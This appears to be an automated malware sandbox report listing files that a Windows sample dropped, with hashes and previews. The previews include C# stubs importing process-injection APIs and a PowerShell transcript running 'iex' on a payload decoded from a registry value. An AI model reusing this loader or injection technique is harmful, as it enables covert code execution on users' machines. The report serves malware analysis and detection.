C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ewgdmdk0.nfd.ps1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gekhvmwr.uph.psm1 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\chv50z53\CSCD671F0735D74415BB6A373562E60C48B.TMP Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.120013565478127
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gryeQSak7YnqqrQzPN5Dlq5J:+RI+ycuZhN1SakSEzPNnqX
MD5:	4BD543A6830C4D10DBCD8ED179951F17
SHA1:	65BCE020CED3BFFB39478309A8F403D4326101DF
SHA-256:	82D27F3A40CFED4082F66D2FA711E533C147CCE8936B220994FC47EDAA14C6B3
SHA-512:	C5B859F4244A957ED5F6C434D14ABEA00735B309E00A65B8D156457E97C842CA8F72CF9FBC5C03C0C25248D88A710BD8C35464838F29098986AEF79253D8730F
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...c.h.v.5.0.z.5.3...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...c.h.v.5.0.z.5.3...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	404
Entropy (8bit):	4.9942211774462395
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJoMRSRa+eNMjSSRrTdGO+aSRHq1nNLXT/JYy:V/DTLDfuo9eg5rpfUu9XjJYy
MD5:	EB2D8DF6DBF541C77F5579AF967A24D2
SHA1:	0A54F84D62B331BB66E798E6AB03C226432A4620
SHA-256:	4262A2B41845425832BD41961054DDB986DBC26824D7E948B983C6792E4A70C5
SHA-512:	B3F448932F267F7B81CA0E934ECC9509E6601A998BEF2545DA8C630B689912C699C990F111B66B1761C79F8DAEB4686B92E9C516F410000D357CAB38BF8363E9
Malicious:	true
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class xlq. {. [DllImport("kernel32")].public static extern IntPtr GetCurrentProcess();.[DllImport("kernel32")].public static extern void SleepEx(uint tqyhf,uint xrcgwwuqyy);.[DllImport("kernel32")].public static extern IntPtr VirtualAllocEx(IntPtr ipglcmbr,IntPtr kxy,uint bmtfsmfyi,uint ahg,uint xsqlt);.. }..}.

C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.29564077841328
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23fUAx3+zxs7+AEszIcNwi23fUAxj:p37Lvkmb6KwZToWZEJZTl
MD5:	62DC32CF46F1D77068A8D64DA6508147
SHA1:	ABCCDA46AF3B91E029B6CE36F0CB68ED7F96D96C
SHA-256:	DD49E9C8AC4361C3F13F27FD6EC331B02B5A4B26082261F1E3A07D3967D1F649
SHA-512:	90849EF0011CEFFD9E47295B1D95F22B06436AA59C443280EBAB002039E8679AA422EB159BD0EB03657A1C3CD239DD54D5ABBB9978F164297D7CC837D55B44F6
Malicious:	false
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.0.cs"

C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.627404044865265
Encrypted:	false
SSDEEP:	24:etGSc8+mEej8MTxWTHfzUy/pfddWxptkZfAHK0hEdI+ycuZhN1SakSEzPNnq:6GLjMTxaLUy/xjWqJAHK6Ed1ulca3Aq
MD5:	9263E264E843A15FF67EF10D06E0661B
SHA1:	4C5B97259AE8E3B324E3BDCDA5224FD9932591C7
SHA-256:	7BC96CF7AC7EA1D1816270C6ADEAC36F15F47D0F3427FBE876A32FECD0E6F82C
SHA-512:	B5B8B7E7FA16F0C489088D744D791054ED3D5691EB37DAF7446B005376175178366087AB0794DC6B49AAFC91806B5572B343CC0E368F2E822164C43A1FD5B152
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......_...........!.................$... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....*BSJB............v4.0.30319......l...P...#~......<...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................/.(...................................................... 6............ H............ P.....P ......_.........e.....k.....v..........................._.!..._...!._.&..._.......+.....4.0.....6.......H.......P..................................................<Module>.chv50z53.dll.xlq.W32.mscor

C:\Users\user\AppData\Local\Temp\chv50z53\chv50z53.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	412
Entropy (8bit):	4.871364761010112
Encrypted:	false
SSDEEP:	12:zKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:zKaM5DqBVKVrdFAMBJTH
MD5:	83B3C9D9190CE2C57B83EEE13A9719DF
SHA1:	ABFAB07DEA88AF5D3AF75970E119FE44F43FE19E
SHA-256:	B5D219E5143716023566DD71C0195F41F32C3E7F30F24345E1708C391DEEEFDA
SHA-512:	0DE42AC5924B8A8E977C1330E9D7151E9DCBB1892A038C1815321927DA3DB804EC13B129196B6BC84C7BFC9367C1571FCD128CCB0645EAC7418E39A91BC2FEDB
Malicious:	false
Preview:	Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\q3xypckz\CSC358FCCDF4025435CA355D903053645.TMP Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.132933536665914
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5grykPAak7YnqqfPlPN5Dlq5J:+RI+ycuZhN+PAakSfPlPNnqX
MD5:	D719BC3C482074D46457D40D730061FB
SHA1:	8A57652EC917B63D67329C29839F091D7BCE3749
SHA-256:	75883180263ED9945960EFAAF3DA58C338F783A9A6DABDDEF139502D051CC1E6
SHA-512:	9CB9F134CC6DD97A585DA308D41834DD9998FA90AD2596F583B87208C71F32C5F236ACE2593927F0E6FDF78FC4CC03AC674AD48EC4D6AA0BAE77647DA433015D
Malicious:	false
Preview:	.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...q.3.x.y.p.c.k.z...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...q.3.x.y.p.c.k.z...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.0.cs Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.000183840500447
Encrypted:	false
SSDEEP:	6:V/DsYLDS81zuJ/Q7NkmMRSR7a1Et4atQVSRa+rVSSRnA/fHfVNr+pdKy:V/DTLDfu9Enx4atF9rV5nA/3na+y
MD5:	9374CDED96EE09456F8770891F7C7BB0
SHA1:	94A8FA474651BF57184B3D4303BE784BBEE0D3A1
SHA-256:	2D22A87F2B278E4088D64A7B51BC202FB4FCC09335DFD0E9B1E3FA02C9708916
SHA-512:	4533522340293E905A62452A17476440ACAD2B5A34C38D690F5A24B6F14E4F4A8F7DC82EE2D61955554425615588104C1F84D76C6443A8A4252ECF961ABECA6B
Malicious:	false
Preview:	.using System;.using System.Runtime.InteropServices;..namespace W32.{. public class vqaxvunjiuh. {. [DllImport("kernel32")].public static extern uint QueueUserAPC(IntPtr tpcnqkjvtbr,IntPtr tqisro,IntPtr mibgqo);.[DllImport("kernel32")].public static extern IntPtr GetCurrentThreadId();.[DllImport("kernel32")].public static extern IntPtr OpenThread(uint nevxq,uint gshkn,IntPtr hrrrtklhvx);.. }..}.

C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.cmdline Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	377
Entropy (8bit):	5.298168453983911
Encrypted:	false
SSDEEP:	6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2cNwi23f7ZJJUzxs7+AEszIcNwi23f7j:p37Lvkmb6KwZ1J+WZEJZP
MD5:	6582016227C36A48AEC7E0B0E6637C6B
SHA1:	F88D3218F1ACA80121CE983FA8BF75D955DC0C2A
SHA-256:	B466D54DFDDB3BF50534E3E343A9A0ED670B3536781AF6D0B977C104DF3D85B6
SHA-512:	2E18CDDB79EEEFC84AA60DAF1B224C5D54FE42A330AFE5B34083DA0A9922211E68C6821D9B60BF97FD88B7DA5506C1C5150698DE6D90D87A530E2D381E167F72
Malicious:	true
Preview:	./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.0.cs"

C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.dll Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	2.642869198935414
Encrypted:	false
SSDEEP:	48:6XmS5B8GgesRAdJ52P+Z6Ed1ul+Ya3fXq:DS5B8GJs7GBGUYKf
MD5:	1E701E8C4AE992B245E0E2F74D1355B4
SHA1:	469385E7475F944A208B4DEBAA0A98812056B809
SHA-256:	972EADE198A0D56B5AA1BDE7D76097E104C3CFD42FFB3DFCF223A25D67163BED
SHA-512:	3314B5716646748BB8548054F7CA4AE423CB0075F676D82BB3F57B0041911A7CEA77BC8BBB4D43FA7E362A0D7AA1B02BE26C7881AA674B6DADF4F64C9C9D396E
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......_...........!.................$... ...@....... ....................................@..................................#..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B..................(....BSJB............v4.0.30319......l...H...#~......D...#Strings............#US.........#GUID.......T...#Blob...........G.........%3............................................................7.0...............&.......................#.............. >............ K............ ^.....P ......i.........o.....{...........................i. ...i...!.i.%...i............3.9.....>.......K.......^.......................................'........<Module>.q3xypckz.dll.vqaxvunjiuh.W32.mscor

C:\Users\user\AppData\Local\Temp\q3xypckz\q3xypckz.out Download File
Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	412
Entropy (8bit):	4.871364761010112
Encrypted:	false
SSDEEP:	12:zKaMK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:zKaM5DqBVKVrdFAMBJTH
MD5:	83B3C9D9190CE2C57B83EEE13A9719DF
SHA1:	ABFAB07DEA88AF5D3AF75970E119FE44F43FE19E
SHA-256:	B5D219E5143716023566DD71C0195F41F32C3E7F30F24345E1708C391DEEEFDA
SHA-512:	0DE42AC5924B8A8E977C1330E9D7151E9DCBB1892A038C1815321927DA3DB804EC13B129196B6BC84C7BFC9367C1571FCD128CCB0645EAC7418E39A91BC2FEDB
Malicious:	false
Preview:	Microsoft (R) Visual C# Compiler version 4.7.3056.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

C:\Users\user\AppData\Local\Temp\~DF45AAD7DBA5C44213.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39609
Entropy (8bit):	0.567103539055846
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+lLpY71mtCgLmtCgjmtCgo:kBqoxKAuqR+lLpY71ALAjAo
MD5:	D13A828948188ED97CD5B2620C998D93
SHA1:	1036A8B3C16816040D0D4FCF98E4ACC96B1E3473
SHA-256:	30010296BF051A9FE51BC3D65DE089873BBD01B2A82C1C2C8A1F4B4F041A372D
SHA-512:	A0332CA041BB1DAFA494580018257E276091E9EC655BFA29606F723D0D054FA7CD075078152C2BD465CABDC7265A519984E06034ECAC8F725DBE34DA7CCB2F2C
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF4BABAAB8361A3F58.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	189260
Entropy (8bit):	3.1466642494131496
Encrypted:	false
SSDEEP:	3072:eiqZ/2Bfc6ru5rXfVStliqZ/2BfcJru5rXfVSt:vm
MD5:	672785192E4F128B0A7A6986E090F192
SHA1:	E808E608CBF48AED0A14C95F98E4AFE33978922D
SHA-256:	3118304D45D29F6FF02BED79EE5DF3D16B8FD8E42146EB2DEC7EAB288B3434B3
SHA-512:	E0B2FD468CB8EDBC9E9D96875EE1C7E9F5DBAA87B1F9567BBDD0514E00114327948AD6B0871FFF465ECEC7CD4B44C757860EF185067E07BEAB6A4F75723A4EE8
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF876656104E15310A.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	14565
Entropy (8bit):	1.2468748685916924
Encrypted:	false
SSDEEP:	96:kBqoIm4xmbmYIEmJImxmzIomzIlmImPmhm+ms7m4mS7mtmrmSC:kBqoIm4xGFIEgIEFoFlZucLBZbsei
MD5:	2EBAA61874F87B9E40F81B188C1B048E
SHA1:	C04A25CE3BA6B9BECF468D918D6AE71BC738A338
SHA-256:	61A167F7910BEDC3BF9FBFE347059EBB6F9474C6151780238309C9A684C45831
SHA-512:	4611489652D37EC2B738B2FCF5D85DAC2CBD8A729F2C201E6B37A56ABC10DCA155C599273A1AB8EFB57360C52487A1A625E40FCC361086CD349BB5DF0131DD16
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF98F18036C0AB0C8A.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39753
Entropy (8bit):	0.5962838174393099
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+IOEV+cANY7MANY7AANY7J:kBqoxKAuqR+IOEV+cANYQANY8ANY1
MD5:	A127C20B22F772B637CCB1FB1C446C57
SHA1:	A56C0DF711E447E53CEF2E1E4F4EE47985B6A0FA
SHA-256:	BF5502CE26873EE6B2099998C7F8125E8FEFC4D7091BA3C4D62CC3A173FD4E4A
SHA-512:	F5D0B0C31EB66CA4258E1CA2879A95CF3CF06084C4567462F5C6281360DE072C838CAD18714C2B566F0E60D27E50FDAD0F4575510371FA7CE026049918CE51E9
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF9BAB7ABCC047A1CD.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39617
Entropy (8bit):	0.5686827464851989
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS++4y7omsWKlUKmyUsWKlUKmyssWKlUKmy9:kBqoxKAuqR++4y7om25myU25mys25my9
MD5:	4F4FE1B41E3F1F2A10598A725FFC8583
SHA1:	ED2B92A220890CD09B4C66BA0FE1E9AC6A7AA37A
SHA-256:	956C147C0B4D042F1EC5E322795514970A73AA733AC4D6DE2E8E9FBBB8F6C2A3
SHA-512:	4F79260DDF70214C4FD9340FE14CA99036DA278554E46974416FE8BB2809A66F213D6EC2CB3C520FC88AD9364E0EAD268469D9B17A1BA5BC3D34C68EFE1C1297
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFC8B1A56BBB3949F1.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	40225
Entropy (8bit):	0.7241857499873624
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+IOkynH/dlxnH/dlanH/dlhnH/dllnH/dlc:kBqoxKAuqR+IOkyHXxHXaHXhHXlHXc
MD5:	A39B6BD5CA2D86A1430A66374BF36C13
SHA1:	DB23E32BAA695283F0DAB2A532A46426B243BAA9
SHA-256:	F136E4612406643DC9A6F47679C81F50195F8F535B0C3E4951467ABE7FCC87CF
SHA-512:	D431D99B7564750AF2E6798FB9A2C194C44ECAF19C60AA8CE9426417C8C5EA71E37C03061B2503C0F07B35CA7E497524F3713DBE0F4E08D95399D6857B5BA19F
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEE29B07D9DD9508E.TMP Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	39785
Entropy (8bit):	0.6019944328306431
Encrypted:	false
SSDEEP:	96:kBqoxKAuvScS+djBgDl16TKnQOgSK16TKnQOgSG16TKnQOgSH:kBqoxKAuqR+djBgDlIm5gtIm5gdIm5gi
MD5:	0F64EF41C2011B197754F4A31293670A
SHA1:	FACD5C9A52EC824EED63A3655D34948E42CBBC25
SHA-256:	6E83104877F7B45A22EF321B5B980914EEB6C6E4972D84A6A854EB3CFA0DAA0B
SHA-512:	8E1B7E847DD6F593CE03E1E550B9ABC62661B67CE8A9B5753A12FE83CBF89B03426E70737CDC6B8C330D08CFAAC64FCCC1083B621D72F3FEC4DFA144A732EEF6
Malicious:	false
Preview:	.............................%..H..M..{y..+.0...(................... ...............................................%..H..M..{y..+.0...(................... ..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\4KOBLD6CUBJMH1CLNAOP.temp Download File
Process:	C:\Program Files\internet explorer\iexplore.exe
File Type:	data
Category:	dropped
Size (bytes):	5149
Entropy (8bit):	3.1900948897674914
Encrypted:	false
SSDEEP:	48:DdiFP3IMC9GrIojAsASFUdiFP3IMh683GrIojAcz/diFP3IMx9GrIojAV1H:cP3K9SDAJ6P333SDA7P3Z9SDAf
MD5:	355288D9A80322C4AAA9E39648B50873
SHA1:	E4DF972A27668B2370729EC4518376D89031F0B0
SHA-256:	FBB38A68F61F2C19AA54F798A0B94063A59A1B190663F8CAE6E5F0483A3F6F7E
SHA-512:	A4C58BBA25B8DDDE2893ADE808D586514A955727E905FA607B543C9EADC5CB08A9F4966A11A2829B07AEBB8801710CBB37C02E48E6FC9A87BDEF3CD379DC1721
Malicious:	false
Preview:	...................................FL..................F.@.. .....@.>...t.n.......?.c................................P.O. .:i.....+00.../C:\.....................1.....>Q.{..PROGRA~1..t......L.>Q.{....E...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....l.1......L.J..INTERN~1..T......L.zQ................................i.n.t.e.r.n.e.t. .e.x.p.l.o.r.e.r.....f.2......L.9 .iexplore.exe..J......L.JzQ.......R..........x.............i.e.x.p.l.o.r.e...e.x.e.......^...............-.......]............y%......C:\Program Files\internet explorer\iexplore.exe....-.p.r.i.v.a.t.e...C.:.\.W.i.n.d.o.w.s.\.S.Y.S.T.E.M.3.2.\.I.E.F.R.A.M.E...d.l.l.........%SystemRoot%\SYSTEM32\IEFRAME.dll...................................................................................................................................................................................................................................%.S.y.s.t.e.m.R.o.o.t.%.\.S.Y.S.T.E.M.3.2.\.I

C:\Users\user\AppData\Roaming\Microsoft\{8B1244C5-6E46-F55A-D0EF-82F90493D63D}\cookie.cr\Cookies.cr Download File
Process:	C:\Windows\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6969296358976265
Encrypted:	false
SSDEEP:	24:TLbJLbXaFpEO5bNmISHn06UwcQPx5fBo2+tYeF+X:T5LLOpEO5J/Kn7U1uBo2UYeQ
MD5:	A9DBC7B8E523ABE3B02D77DBF2FCD645
SHA1:	DF5EE16ECF4B3B02E312F935AE81D4C5D2E91CA8
SHA-256:	39B4E45A062DEA6F541C18FA1A15C5C0DB43A59673A26E2EB5B8A4345EE767AE
SHA-512:	3CF87455263E395313E779D4F440D8405D86244E04B5F577BB9FA2F4A2069DE019D340F6B2F6EF420DEE3D3DEEFD4B58DA3FCA3BB802DE348E1A810D6379CC3B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\{8B1244C5-6E46-F55A-D0EF-82F90493D63D}\cookie.ie\deprecated.cookie.ie Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	91
Entropy (8bit):	3.964980110923723
Encrypted:	false
SSDEEP:	3:ApEeKm8RKQB2LI/cAtAFqyLAIRlKFvBFGmWLn:ApEVNB2LI/xyFqyLbgzGdn
MD5:	99BDE3452748E34D6C50275110A6A8D4
SHA1:	E79CB2A8DB7D8490523529D3861F95BA73A20C23
SHA-256:	D07311ACF641866E7E84823D2962F593BB655792301DC61AD6F0C6869D9C5937
SHA-512:	19FD529C6FE60BBBE3710FED93F14D723A13AD427431F855ED84F5E5E496B9F3EB8A6E8C31D740239EB225753D52A4F464B489FDBDEFF4477480026263D0F691
Malicious:	false
Preview:	Cookies are no longer stored in files. Please use InternetCookie APIs to access cookies.

C:\Users\user\Documents\20201125\PowerShell_transcript.536720.tYAKHTY1.20201125190723.txt Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.312953785919431
Encrypted:	false
SSDEEP:	24:BxSAwUdZOvBdaZx2DOXUWOLCHGI4MWtHjeTKKjX4CIym1ZJXoCOLCHGI4mvOnxSe:BZwv6ZoORF4XtqDYB1ZnF4MgZZaq
MD5:	D8FDE37787ADB760B50ECCFE73DFE2B2
SHA1:	032126257395209C7AFBFB8241D92511577B3422
SHA-256:	42304BA29AA006D675CEFDE6313D5AA51CA82288B17E7F2E404B5ADD8A36F2AE
SHA-512:	7DA1A392CF9F5449FCBBB503B0A64F6376629D57F853B7CEC0877F002BE339BD8A145AD05C2283F20C69A2C38698A5E3B6A206B4898D1D2018CB8BA7F27B193E
Malicious:	false
Preview:	.********************..Windows PowerShell transcript start..Start time: 20201125190723..Username: computer\user..RunAs User: computer\user..Configuration Name: ..Machine: 536720 (Microsoft Windows NT 10.0.17134.0)..Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E).Barclers))..Process ID: 4760..PSVersion: 5.1.17134.1..PSEdition: Desktop..PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.17134.1..BuildVersion: 10.0.17134.1..CLRVersion: 4.0.30319.42000..WSManStackVersion: 3.0..PSRemotingProtocolVersion: 2.3..SerializationVersion: 1.1.0.1..******************..******************..Command start time: 20201125190723..******************..PS>iex ([System.Text.Encoding]::ASCII.GetString(( gp HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E).Barclers))..**************

C:\Windows\System32\catroot2\dberr.txt Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	634
Entropy (8bit):	4.687320055524801
Encrypted:	false
SSDEEP:	12:wP2R8DmhP2R8DmhP2R89KmhP2R8AmhP2R8DmhP2R8AmhP2R89Kn:V8DmQ8DmQ8EmQ8AmQ8DmQ8AmQ8En
MD5:	0F9652022CB406C96651804C7940AAF9
SHA1:	4129FE7C21E7477D0B6C5EE61B02F1D97BEFB71E
SHA-256:	AECB787B719D10FE061B85FDD9625C03A17AA38C375905E83928F600E4E810DE
SHA-512:	AAAC02610578900207D3351B1C7FA0F66AAD607E3D9EB7AAA7DBE73AF23F51EB169B367988DCC147E88112101795F6F2E1F40DA74A5D9A1DC2870CDBDD03D1C4
Malicious:	false
